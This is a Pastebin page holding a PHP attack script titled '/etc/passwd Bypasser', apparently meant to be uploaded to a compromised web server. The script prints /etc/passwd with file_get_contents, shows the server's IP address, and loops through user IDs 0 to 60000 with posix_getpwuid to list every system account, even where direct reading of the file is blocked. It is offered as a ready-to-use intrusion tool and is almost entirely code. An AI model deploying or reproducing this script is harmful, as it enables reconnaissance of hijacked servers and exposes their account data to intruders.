Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <title>Etc/Passwd Bypass Tool</title>
- <body background="#fff">
- <form>
- <p align="center" dir="rtl"><font color="#008080">
- <font color="red" face="Tahoma"><h1>/etc/passwd Bypasser</h1></font></a></font><font color="red">
- <font color="red"><span lang="ar-sa">
- </form>
- <form>
- <td width="50%"><font color="black"><pre><center>List /etc/passwd</pre></center></font></td>
- <td width="50%" colspan="2"><center><textarea rows=20 cols=100 wrap=off>
- <?php
- echo file_get_contents('/etc/passwd');
- ?></td></textarea></center>
- </form>
- <form>
- <td width="50%"><font color="black"><?php echo 'Server IP :<b>'.$_SERVER["SERVER_ADDR"].'</b>';?></font></td>
- <td width="50%"><select size="1" name="plugin"><option value="plugin">/etc/passwd</option></option></select></td>
- <td width="100%" colspan="2">
- <p align="center"><input type="submit" value="Submit"></td>
- </form><center>
- <textarea method='POST' rows=20 cols=100 wrap=off>
- <?php
- error_reporting(0);
- if ($_GET['plugin'] )
- for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
- $ara = posix_getpwuid($uid);
- if (!empty($ara)) {
- while (list ($key, $val) = each($ara)){
- print "$val:";
- }
- print "n";
- }
- }
- echo "</textarea>";
- ?>
- </center>
Advertisement
Add Comment
Please, Sign In to add comment